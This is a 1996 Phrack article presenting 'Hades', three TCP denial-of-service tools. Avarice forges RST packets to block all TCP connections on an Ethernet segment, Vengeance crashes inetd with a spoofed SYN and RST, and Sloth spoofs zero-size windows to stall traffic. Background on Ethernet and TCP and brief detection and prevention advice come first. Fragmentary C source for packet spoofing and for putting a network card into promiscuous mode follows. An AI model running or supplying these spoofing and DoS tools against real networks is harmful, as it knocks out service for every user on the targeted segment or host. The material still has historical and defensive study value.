Paper by daemon9 AKA route
sourcecode by daemon9
for Phrack Magazine
October 1996 Guild Productions, kid
comments to route@infonexus.com
--[ Introduction ]--
More explorations of weaknesses in the most widely used transport
protocol on the Internet. Put your mind at rest fearful reader! The
vulnerabilities outlined here are nowhere near the devastating nature of
Project Neptune/Poseidon.
Hades is the Greek god of the underworld; his kingdom is that of the
the Dead. Hades renown for being quite evil and twisted. He is also well
known for his TCP exploit code. Therefore, it seemed fitting to name this
project after him.
BTW, for this code to work (as with much of my previous code) your
kernel must be patched to be able to spoof packets. DO NOT MAIL ME to ask how
to do it.
--[ Overview ]--
Section I. Ethernet background information
Section II. TCP background information
Section III. Avarice
Section IV. Vengeance
Section V. Sloth
Section VI. Discussion, Detection, and Prevention
(Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
Section I. Ethernet Background information
Ethernet is a multi-drop, connectionless, unreliable link layer
protocol. It (IEEE 802.3 Ethernet is the version I refer to) is the
link-layer protocol most LANs are based upon. It is multidrop; each
device on the ethernet shares the media (and, consequently, the bandwidth)
with every other device. It is connectionless; every frame is sent
independently of the previous one and next one. It is unreliable; frames are
not acknowledged by the other end. If a frame is received that doesn't pass
the checksum, it is silently discarded. It is a link-layer protocol that sits
underneath the network protocol (IP) and above the physical interface (varies,
but often CAT3/5 UTP).
--[ Signaling and Encoding ]--
Standard 802.3 Ethernet signals at 10 mega-bits per second using
Manchester encoding to order bits on the wire. Manchester is a biphase
state-transition technique; to indicate a particular bit is on, a voltage
transition from low to high is used. To indicate a bit is off, a high to low
transition is used.
--[ Media Access ]--
Ethernet uses media contention to gain access to the shared wire. The
version of contention it uses is CSMA/CD (carrier sense multiple access /
collision detection). This simply means that ethernet supports multiple
devices on a shared network medium. Any device can send it's data whenever
it thinks the wire is clear. Collisions are detected (causing back-off and
retry) but not avoided. CSMA/CD algorithmically:
1. IF: the medium is idle -> transmit.
2. ELSE: the medium is busy -> wait and listen until idle -> transmit.
3. IF: collision is detected -> transmit jamming signal, cease all
transmission
4. IF: jamming signal is detected -> wait a random amount of time, goto 1
--[ Broadcast Medium ]--
Since it is CSMA/CD technology, ethernet has the wonderful property
that it hears everything on the network. Under normal circumstances, an
ethernet NIC will only capture and pass to the network layer packets that
boast it's own MAC (link-layer) address or a broadcast MAC address. However,
it is trivial to place an Ethernet card into promiscuous mode where it will
capture everything it hears, regardless to whom the frame was addressed.
It bears mentioning that bridges are used to divide an ethernet into
logically separate segments. A bridge (or bridging device such as a smart
hub) will not pass an ethernet frame from segment to segment unless the
addressed host lies on the disparate segment. This can reduce over-all
network load by reducing the amount of traffic on the wire.
Section II. TCP Background Information
TCP is a connection-oriented, reliable transport protocol. TCP is
responsible for hiding network intricacies from the upper layers. A
connection-oriented protocol implies that the two hosts participating in a
discussion must first establish a connection before data may be exchanged. In
TCP's case, this is done with the three-way handshake. Reliability can be
provided in a number of ways, but the only two we are concerned with are data
sequencing and acknowledgment. TCP assigns sequence numbers to every byte in
every segment and acknowledges all data bytes received from the other end.
(ACK's consume a sequence number, but are not themselves ACK'd. That would be
ludicrous.)
--[ TCP Connection Establishment ]--
In order to exchange data using TCP, hosts must establish a connection.
TCP establishes a connection in a 3 step process called the 3-way handshake.
If machine A is running a client program and wishes to connect to a server
program on machine B, the process is as follows:
fig(1)
1 A ---SYN---> B
2 A <---SYN/ACK--- B
3 A ---ACK---> B
At (1) the client is telling the server that it wants a connection.
This is the SYN flag's only purpose. The client is telling the server that
the sequence number field is valid, and should be checked. The client will
set the sequence number field in the TCP header to it's ISN (initial sequence
number). The server, upon receiving this segment (2) will respond with it's
own ISN (therefore the SYN flag is on) and an Acknowledgment of the clients
first segment (which is the client's ISN+1). The client then ACK's the
server's ISN (3). Now data transfer may take place.
--[ TCP Control Flags ]--
There are six TCP control flags.
SYN: Synchronize Sequence Numbers
The synchronize sequence numbers field is valid. This flag is only
valid during the 3-way handshake. It tells the receiving TCP to check the
sequence number field, and note it's value as the connection-initiator's
(usually the client) initial sequence number. TCP sequence numbers can
simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295.
Every byte of data exchanged across a TCP connection (along with certain
flags) is sequenced. The sequence number field in the TCP header will contain
the sequence number of the *first* byte of data in the TCP segment.
ACK: Acknowledgment
The acknowledgment number field is valid. This flag is almost always
set. The acknowledgment number field in the TCP header holds the value of
the next *expected* sequence number (from the other side), and also
acknowledges *all* data (from the other side) up through this ACK number minus
one.
RST: Reset
Destroy the referenced connection. All memory structures are torn
down.
URG: Urgent
The urgent pointer is valid. This is TCP's way of implementing out
of band (OOB) data. For instance, in a telnet connection a `ctrl-c` on the
client side is considered urgent and will cause this flag to be set.
PSH: Push
The receiving TCP should not queue this data, but rather pass it to
the application as soon as possible. This flag should always be set in
interactive connections, such as telnet and rlogin.
FIN: Finish
The sending TCP is finished transmitting data, but is still open to
accepting data.
--[ Ports ]--
To grant simultaneous access to the TCP module, TCP provides a user
interface called a port. Ports are used by the kernel to identify network
processes. They are strictly transport layer entities. Together with an
IP address, a TCP port provides an endpoint for network communications. In
fact, at any given moment *all* Internet connections can be described by 4
numbers: the source IP address and source port and the destination IP
address and destination port. Servers are bound to 'well-known' ports so
that they may be located on a standard port on different systems.
For example, the telnet daemon sits on TCP port 23.
Section III. Avarice
Avarice is a SYN,RST generator. It is designed to disallow any
TCP traffic on the ethernet segment upon which it listens. It works by
listening for the 3-way handshake procedure to begin, and then immediately
resetting it. The result is that no TCP based connections can be negotiated,
and therefore no TCP traffic can flow. This version sits on a host, puts the
NIC into promiscuous mode and listens for connection-establishment requests.
When it hears one, it immediately generates a forged RST packet and sends it
back to the client. If the forged RST arrives in time, the client will quit
with a message like:
telnet: Unable to connect to remote host: Connection refused
For the client to accept the RST, it must think it is an actual response from
the server. This requires 3 pieces of information: IP address, TCP port, and
TCP acknowledgment number. All of this information is gleaned from the
original SYN packet: the IP address of the destination host, the TCP port
of the listening process, and the clients ISN (the acknowledgment number in
the RST packet is the clients ISN+1, as SYN's consume a sequence number).
This program has a wide range of effectiveness. Speed is essential
for avarice to quell all TCP traffic on a segment. We are basically racing
the kernel. OS kernels tend to be rather efficient at building packets. If
run on a fast machine, with a fast kernel, it's kill rate is rather high.
I have seen kill-rates as high as 98% (occasionally a few slip through) on
a fast machine. Consequently, if run on a slow machine, with a slow kernel, it
will likely be useless. If the RSTs arrive too late, they will be dropped by
the client, as the ACK number will be too low for the referenced connection.
Sure, the program could send, say, 10 packets, each with progressively higher
ACK numbers, but hey, this is a lame program...
Section IV. Vengeance
Vengeance is an inetd killer. On affected systems this program will
cause inetd to become unstable and die after the next connection attempt.
It sends a connection-request immediately followed by a RST to an internal
inetd managed service, such as time or daytime. Inetd is now unstable and
will die after the next attempt at a connection. Simple. Dumb. Not eleet.
(This inetd bug should be fixed or simply not present in newer inetd code.)
I did not add code to make the legitimate connection that would kill
inetd to this simple little program for 2 reasons. 1) It's simply not worth
the complexity to add sequence number prediction to create a spoofed 3-way
handshake. This program is too dinky. 2) Maybe the attacker would want
to leave inetd in a unstable state and let some legitimate user come along and
kill it. Who knows. Who cares. Blah. I wash my hands of the whole affair.
Section V. Sloth
"Make your ethernet feel like a lagged 28.8 modem link!"
Sloth is an experiment. It is an experiment in just how lame IP
spoofing can get. It works much the same way avarice does, except it sends
forged TCP window advertisements. By default Sloth will spoof zero-size
window advertisements which will have the effect of slowing interactive
traffic considerably. In fact, in some instances, it will freeze a
connection all together. This is because when a TCP receives a zero-size
window advertisement, it will stop sending data, and start sending window
probes (a window probe is nothing more than an ACK with one byte of
data) to see if the window size has increased. Since window probes are, in
essence, nothing more than acknowledgements, they can get lost. Because of
this fact, TCP implements a timer to cordinate the repeated sending of these
packets. Window probes are sent according to the persist timer (a 500ms
timer) which is calculated by TCP's exponential backoff algorithm. Sloth
will see each window probe, and spoof a 0-size window to the sender. This
all works out to cause mass mayhem, and makes it difficult for either TCP to
carry on a legitimate conversation.
Sloth, like avarice, is only effective on faster machines. It also
only works well with interactive traffic.
Section VI. Discussion, Detection, and Prevention
Avarice is simply a nasty program. What more do you want from me?
Detection? Detection would require an ounce of clue. Do FTP, SMTP, HTTP,
POP, telnet, etc all suddenly break at the same time on every machine on
the LAN? Could be this program. Break out the sniffer. Monitor the network
and look for the machine that generating the RSTs. This version of the program
does not spoof its MAC address, so look for that. To really prevent this
attack, add cryptographic authentication to the TCP kernels on your machines.
Vengeance is a wake-up call. If you haven't patched your inetd to be
resistant to this attack, you should now. If your vendor hasn't been
forthcoming with a patch, they should now. Detection is using this
program. Prevention is a patch. Prevention is disabling the internal inetd
services.
Sloth can be detected and dealt with in much the same way as avarice.
You may have noticed that these programs are named after three of
the Seven Deadly Sins. You may be wondering if that implies that there will
be four more programs of similar ilk. Well, STOP WONDERING. The answer is
NO. I am officially *out* of the D.O.S. business. I am now putting my efforts
towards more productive ventures. Next issue, a session jacker.
This project made possible by a grant from the Guild Corporation.
if(geteuid()||getuid()){
fprintf(stderr,"UID or EUID of 0 needed...n");
exit(0);
}
sock=tap(DEVICE); /* Setup the socket and device */
/* Could use the SOCK_PACKET but building Ethernet headers would
require more time overhead; the kernel can do it quicker then me */
if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
perror("nHmmm.... socket problems");
exit(1);
}
shadow(); /* Run as a daemon */
struct sockaddr_in sin; /* IP address information */
/* Setup the sin struct with addressing information */
sin.sin_family=AF_INET; /* Internet address family */
sin.sin_port=tcphp->dest; /* Source port */
sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
/* Packet assembly begins here */
/* Fill in all the TCP header information */
tpack.tcp.source=tcphp->dest; /* 16-bit Source port number */
tpack.tcp.dest=tcphp->source; /* 16-bit Destination port */
tpack.tcp.seq=0; /* 32-bit Sequence Number */
tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1); /* 32-bit Acknowledgement Number */
tpack.tcp.doff=5; /* Data offset */
tpack.tcp.res1=0; /* reserved */
tpack.tcp.res2=0; /* reserved */
tpack.tcp.urg=0; /* Urgent offset valid flag */
tpack.tcp.ack=1; /* Acknowledgement field valid flag */
tpack.tcp.psh=0; /* Push flag */
tpack.tcp.rst=1; /* Reset flag */
tpack.tcp.syn=0; /* Synchronize sequence numbers flag */
tpack.tcp.fin=0; /* Finish sending flag */
tpack.tcp.window=0; /* 16-bit Window size */
tpack.tcp.check=0; /* 16-bit checksum (to be filled in below) */
tpack.tcp.urg_ptr=0; /* 16-bit urgent offset */
/* Fill in all the IP header information */
tpack.ip.version=4; /* 4-bit Version */
tpack.ip.ihl=5; /* 4-bit Header Length */
tpack.ip.tos=0; /* 8-bit Type of service */
tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */
tpack.ip.id=0; /* 16-bit ID field */
tpack.ip.frag_off=0; /* 13-bit Fragment offset */
tpack.ip.ttl=64; /* 8-bit Time To Live */
tpack.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
tpack.ip.check=0; /* 16-bit Header checksum (filled in below) */
tpack.ip.saddr=iphp->daddr; /* 32-bit Source Address */
tpack.ip.daddr=iphp->saddr; /* 32-bit Destination Address */
int sock,mode,i=0;
char buf[BUFSIZE];
unsigned short port;
unsigned target=0,source=0;
char werd[]={"nnnnHades is a Guild Corporation Production. c.1996nn"};
if(geteuid()||getuid()){
fprintf(stderr,"UID or EUID of 0 needed...n");
exit(0);
}
printf("nEnter source address to spoof-> ");
fgets(buf,sizeof(buf)-1,stdin);
if(!buf[1])exit(0);
while(buf[i]!='n')i++; /* Strip the newline */
buf[i]=0;
source=nameResolve(buf);
bzero((char *)buf,sizeof(buf));
printf("nEnter target port (should be 13, 37, or some internal service)-> ");
fgets(buf,sizeof(buf)-1,stdin);
if(!buf[1])exit(0);
port=(unsigned short)atoi(buf);
fprintf(stderr,"Attempting to upset inetd...nn");
s3nd(sock,0,target,port,source); /* SYN */
s3nd(sock,1,target,port,source); /* RST */
fprintf(stderr,"At this point, if the host is vulnerable, inetd is unstable.nTo verfiy: `telnet target.com {internal service port #}`. Do this twice.nInetd should allow the first connection, but send no data, then die.nThe second telnet will verify t
his.n");
}
/*
* Build a packet and send it off.
*/
void s3nd(int sock,int mode,unsigned target,unsigned short port,unsigned source){
struct sockaddr_in sin; /* IP address information */
/* Setup the sin struct with addressing information */
sin.sin_family=AF_INET; /* Internet address family */
sin.sin_port=666; /* Source port */
sin.sin_addr.s_addr=target; /* Dest. address */
/* Packet assembly begins here */
/* Fill in all the TCP header information */
packet.tcp.source=htons(666); /* 16-bit Source port number */
packet.tcp.dest=htons(port); /* 16-bit Destination port */
if(mode)packet.tcp.seq=0; /* 32-bit Sequence Number */
else packet.tcp.seq=htonl(10241024);
if(!mode)packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
else packet.tcp.ack_seq=htonl(102410000);
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
packet.tcp.res2=0; /* reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
if(!mode)packet.tcp.rst=0; /* Reset flag */
else packet.tcp.rst=1;
if(!mode)packet.tcp.syn=1; /* Synchronize sequence numbers flag */
else packet.tcp.syn=0;
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(512); /* 16-bit Window size */
packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
/* Fill in all the IP header information */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */
packet.ip.id=0; /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=64; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=source; /* 32-bit Source Address */
packet.ip.daddr=target; /* 32-bit Destination Address */
if(geteuid()||getuid()){
fprintf(stderr,"UID or EUID of 0 needed...n");
exit(0);
}
sock=tap(DEVICE); /* Setup the socket and device */
/* Could use the SOCK_PACKET but building Ethernet headers would
require more time overhead; the kernel can do it quicker then me */
if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
perror("nHmmm.... socket problems");
exit(1);
}
shadow(); /* Run as a daemon */
struct sockaddr_in sin; /* IP address information */
/* Setup the sin struct with addressing information */
sin.sin_family=AF_INET; /* Internet address family */
sin.sin_port=tcphp->dest; /* Source port */
sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
/* Packet assembly begins here */
/* Fill in all the TCP header information */
tpack.tcp.source=tcphp->dest; /* 16-bit Source port number */
tpack.tcp.dest=tcphp->source; /* 16-bit Destination port */
tpack.tcp.seq=htonl(ntohl(tcphp->ack_seq)); /* 32-bit Sequence Number */
tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)); /* 32-bit Acknowledgement Number */
tpack.tcp.doff=5; /* Data offset */
tpack.tcp.res1=0; /* reserved */
tpack.tcp.res2=0; /* reserved */
tpack.tcp.urg=0; /* Urgent offset valid flag */
tpack.tcp.ack=1; /* Acknowledgement field valid flag */
tpack.tcp.psh=0; /* Push flag */
tpack.tcp.rst=0; /* Reset flag */
tpack.tcp.syn=0; /* Synchronize sequence numbers flag */
tpack.tcp.fin=0; /* Finish sending flag */
tpack.tcp.window=htons(SLOTHWINDOW); /* 16-bit Window size */
tpack.tcp.check=0; /* 16-bit checksum (to be filled in below) */
tpack.tcp.urg_ptr=0; /* 16-bit urgent offset */
/* Fill in all the IP header information */
tpack.ip.version=4; /* 4-bit Version */
tpack.ip.ihl=5; /* 4-bit Header Length */
tpack.ip.tos=0; /* 8-bit Type of service */
tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */
tpack.ip.id=0; /* 16-bit ID field */
tpack.ip.frag_off=0; /* 13-bit Fragment offset */
tpack.ip.ttl=64; /* 8-bit Time To Live */
tpack.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
tpack.ip.check=0; /* 16-bit Header checksum (filled in below) */
tpack.ip.saddr=iphp->daddr; /* 32-bit Source Address */
tpack.ip.daddr=iphp->saddr; /* 32-bit Destination Address */
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}
/*
* Creates a low level raw-packet socket and puts the device into promiscuous mode.
*/
int tap(device)
char *device;
{
int fd; /* File descriptor */
struct ifreq ifr; /* Link-layer interface request structure */
/* Ethernet code for IP 0x800==ETH_P_IP */
if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){ /* Linux's way of */
perror("SOCK_PACKET allocation problems"); /* getting link-layer */
exit(1); /* packets */
}
strcpy(ifr.ifr_name,device);
if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){ /* Get the device info */
perror("Can't get device flags");
close(fd);
exit(1);
}
ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */
if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ /* Set flags */
perror("Can't set promiscuous mode");
close(fd);
exit(1);
}
return(fd);
}